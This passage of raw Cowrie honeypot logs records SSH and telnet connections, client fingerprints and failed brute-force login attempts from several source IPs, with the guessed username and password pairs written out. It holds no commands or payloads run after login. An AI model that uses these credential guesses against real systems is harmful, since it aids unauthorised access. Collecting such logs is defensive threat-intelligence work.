sh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:36:35.676765Z","src_ip":"45.153.34.114","session":"dad92df881b2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jack","password":"jack","message":"login attempt [jack/jack] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:36:36.009105Z","src_ip":"45.153.34.114","session":"dad92df881b2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:36:37.104420Z","src_ip":"45.153.34.114","session":"dad92df881b2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":55258,"dst_ip":"159.203.135.109","dst_port":22,"session":"a22a4858a885","protocol":"ssh","message":"New connection: 45.153.34.114:55258 (159.203.135.109:22) [session: a22a4858a885]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:36:43.011148Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:36:43.103930Z","src_ip":"45.153.34.114","session":"a22a4858a885","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:36:43.107177Z","src_ip":"45.153.34.114","session":"a22a4858a885","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"packer","password":"packer","message":"login attempt [packer/packer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:36:43.437408Z","src_ip":"45.153.34.114","session":"a22a4858a885","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:36:44.524651Z","src_ip":"45.153.34.114","session":"a22a4858a885","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.37.172.136","src_port":9880,"dst_ip":"159.203.135.109","dst_port":23,"session":"eae832f9f478","protocol":"telnet","message":"New connection: 89.37.172.136:9880 (159.203.135.109:23) [session: eae832f9f478]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:36:45.657185Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.182","src_port":47092,"dst_ip":"10.17.0.5","dst_port":22,"session":"0747ece3c4c9","protocol":"ssh","message":"New connection: 80.94.92.182:47092 (10.17.0.5:22) [session: 0747ece3c4c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:36:46.189837Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:36:46.476079Z","src_ip":"80.94.92.182","session":"0747ece3c4c9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:36:46.479965Z","src_ip":"80.94.92.182","session":"0747ece3c4c9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"firedancer","message":"login attempt [ubuntu/firedancer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:36:47.729152Z","src_ip":"80.94.92.182","session":"0747ece3c4c9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:36:48.948903Z","src_ip":"80.94.92.182","session":"0747ece3c4c9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":37990,"dst_ip":"159.203.135.109","dst_port":22,"session":"76c2620955a1","protocol":"ssh","message":"New connection: 45.153.34.114:37990 (159.203.135.109:22) [session: 76c2620955a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:36:50.249227Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:36:50.254002Z","src_ip":"45.153.34.114","session":"76c2620955a1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:36:50.338196Z","src_ip":"45.153.34.114","session":"76c2620955a1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kingbase","password":"123456","message":"login attempt [kingbase/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:36:50.601720Z","src_ip":"45.153.34.114","session":"76c2620955a1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:36:51.689825Z","src_ip":"45.153.34.114","session":"76c2620955a1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":40638,"dst_ip":"159.203.135.109","dst_port":22,"session":"0898807c17f5","protocol":"ssh","message":"New connection: 103.75.199.4:40638 (159.203.135.109:22) [session: 0898807c17f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:36:52.705484Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:36:52.709991Z","src_ip":"103.75.199.4","session":"0898807c17f5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:36:52.801071Z","src_ip":"103.75.199.4","session":"0898807c17f5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"prefect","password":"prefect","message":"login attempt [prefect/prefect] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:36:53.073667Z","src_ip":"103.75.199.4","session":"0898807c17f5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:36:54.167587Z","src_ip":"103.75.199.4","session":"0898807c17f5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":10.493049621582031,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:36:56.150111Z","src_ip":"89.37.172.136","session":"eae832f9f478","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":38008,"dst_ip":"159.203.135.109","dst_port":22,"session":"81bf95ae34a3","protocol":"ssh","message":"New connection: 45.153.34.114:38008 (159.203.135.109:22) [session: 81bf95ae34a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:36:56.980197Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:36:56.984548Z","src_ip":"45.153.34.114","session":"81bf95ae34a3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:36:57.068262Z","src_ip":"45.153.34.114","session":"81bf95ae34a3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"parolamea","message":"login attempt [root/parolamea] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:36:57.324430Z","src_ip":"45.153.34.114","session":"81bf95ae34a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:36:58.415805Z","src_ip":"45.153.34.114","session":"81bf95ae34a3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":41698,"dst_ip":"159.203.135.109","dst_port":22,"session":"7b18d1df32ce","protocol":"ssh","message":"New connection: 45.153.34.114:41698 (159.203.135.109:22) [session: 7b18d1df32ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:37:04.141050Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:37:04.145425Z","src_ip":"45.153.34.114","session":"7b18d1df32ce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:37:04.277469Z","src_ip":"45.153.34.114","session":"7b18d1df32ce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gabriel","password":"gabriel","message":"login attempt [gabriel/gabriel] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:37:04.547203Z","src_ip":"45.153.34.114","session":"7b18d1df32ce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:37:05.636226Z","src_ip":"45.153.34.114","session":"7b18d1df32ce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"189.253.36.211","src_port":60607,"dst_ip":"10.17.0.5","dst_port":23,"session":"b532ecca21f3","protocol":"telnet","message":"New connection: 189.253.36.211:60607 (10.17.0.5:23) [session: b532ecca21f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:37:05.965402Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":41246,"dst_ip":"159.203.135.109","dst_port":22,"session":"71c9352378ae","protocol":"ssh","message":"New connection: 45.153.34.114:41246 (159.203.135.109:22) [session: 71c9352378ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:37:11.218274Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:37:11.222994Z","src_ip":"45.153.34.114","session":"71c9352378ae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:37:11.308012Z","src_ip":"45.153.34.114","session":"71c9352378ae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Pass@123","message":"login attempt [root/Pass@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:37:11.568681Z","src_ip":"45.153.34.114","session":"71c9352378ae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:37:12.660914Z","src_ip":"45.153.34.114","session":"71c9352378ae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":51730,"dst_ip":"159.203.135.109","dst_port":22,"session":"feaf2dce2fb9","protocol":"ssh","message":"New connection: 103.75.199.4:51730 (159.203.135.109:22) [session: feaf2dce2fb9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:37:14.596597Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:37:14.601195Z","src_ip":"103.75.199.4","session":"feaf2dce2fb9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 